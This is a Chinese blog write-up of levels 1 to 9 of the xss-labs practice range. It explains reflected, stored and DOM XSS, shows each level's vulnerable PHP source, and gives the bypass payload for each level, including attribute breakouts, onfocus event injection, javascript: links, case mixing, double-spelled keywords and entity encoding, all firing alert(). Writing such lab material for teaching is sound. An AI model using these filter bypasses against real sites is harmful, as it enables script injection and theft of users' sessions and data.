xss-labs靶场测试

目录

xss漏洞

攻击类型反射型XSS(非持久型):

存储型XSS(持久型):

DOM型XSS:

危害分析

靶场搭建 

Pass1:基础注入

Pass2:输入框注入

Pass3:事件注入

Pass4:引号类型

Pass5:a标签注入

Pass6(大小写绕过)

Pass7(双拼写)

Pass8(Unicode编码)

Pass9(指定字符绕过)


xss漏洞

  • 全称:跨站脚本攻击(Cross-Site Scripting),缩写为XSS(避免与CSS混淆)。
  • 原理:攻击者向网页中注入恶意脚本,当其他用户访问时,脚本在其浏览器中执行,从而窃取信息或进行其他攻击。
攻击类型
反射型XSS(非持久型):
  • 触发方式:恶意脚本通过URL参数传递,服务器直接返回包含脚本的页面。
  • 特点:需诱导用户点击恶意链接。
存储型XSS(持久型):
  • 触发方式:恶意脚本被保存到服务器(如数据库),用户访问正常页面时触发。
  • 特点:危害范围广,长期存在。
DOM型XSS:
  • 触发方式:完全在客户端处理,通过JavaScript操作DOM时引入恶意代码。
  • 特点:不经过服务器,难以检测。
危害分析
  • 会话劫持:窃取Cookie或Session ID,冒充用户身份。
  • 钓鱼攻击:伪造登录表单,诱导用户输入敏感信息。
  • 键盘记录:监控用户输入,窃取密码等数据。
  • 网页篡改:修改页面内容,传播恶意信息。

靶场搭建 

xss-labs下载地址:GitHub - do0dl3/xss-labs: xss 跨站漏洞平台

将下载的文件解压然后放在xp的www的目录下


Pass1:基础注入

查看网站源码,可以发现get传参name的值test插入了html里头,还回显了payload的长度

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

插入一段js代码,get传参

url?name=<script>alert()</script>

Pass2:输入框注入

尝试注入

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

htmlspecialchars($str):进行了html实体转化 

"><script>alert('aaa')</script><"

Pass3:事件注入

尝试使用上一关的内容进行绕过,被转义,只能想想其他办法了

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

看一下源码,果然被实体化了,但是htmlspecialchars函数只针对<>大于小于号进行html实体化,我们还可以利用其他方法进行xss注入,这里我们可以利用onfocus事件绕过

onfocus 事件是前端开发中用于处理元素获得焦点的常用事件。当用户通过点击、键盘(如 Tab 键)或代码(如 element.focus())使某个元素成为当前操作焦点时,该事件会被触发。

所以我们可以利用这个事件来绕过<>号的过滤已达到执行js的目的

' onfocus=javascript:alert() '

此时再点击这个input框,使其获得焦点,触发onfocus事件

Pass4:引号类型

使用上一关的结果进行注入,尝试失败

分析源码,发现外围是双引号,双包单了,不符合javascript 的onfocus事件绑定

切换payload为双引号即可

" onfocus=javascript:alert() "

Pass5:a标签注入

使用上一关的结果进行注入,尝试失败

查看源码

这里on被替换成了o_n,过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入,这里我们用a href标签法

添加一个标签得闭合前面的标签,尝试注入

"><a href="javascript:alert();">xx</a><"

Pass6(大小写绕过)

使用上一关的结果进行注入,尝试失败

href变成hr_ef,查看源码,发现过滤了好多,看看大小写能不能绕过

OnFocus <sCriPt> <a hReF=javascript:alert()>

发现大小写没有被过滤

//第一种,脚本注入
" ><SCRIPT>alert()</SCRIPT>< "
//第二种,焦点事件
" ONDOCUS=javascript:alert() "
//a标签href属性的
"> <a HREF=javascript:alert()>x</a> <"

Pass7(双拼写)

老规矩,注入

查看源码不难发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用双拼写来绕过,

  • 比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on
  • 比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script

" ><sscriptcript>alert()</sscriptcript>< "

Pass8(Unicode编码)

老规矩

javascript:alert()

失败,查看源码发现对字符进行了强行转换,而且使用了强制小写字母

但是我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议

javascript:alert()

利用在线工具进行Unicode编码后得到,在线Unicode编码解码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

然后点击友情链接

Pass9(指定字符绕过)

不想写了

查看源码

当传入的参数不包含"http://"时,即其值为假(false),将触发if语句的执行。为了避免这种情况,我们需要在参数中添加"http://",并将其作为注释,以防止其被实际执行,这会影响到弹窗的显示。为了确保strpos函数能够返回一个数值,我们需要构造一个特定的输入(payload),使其满足函数的预期行为。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值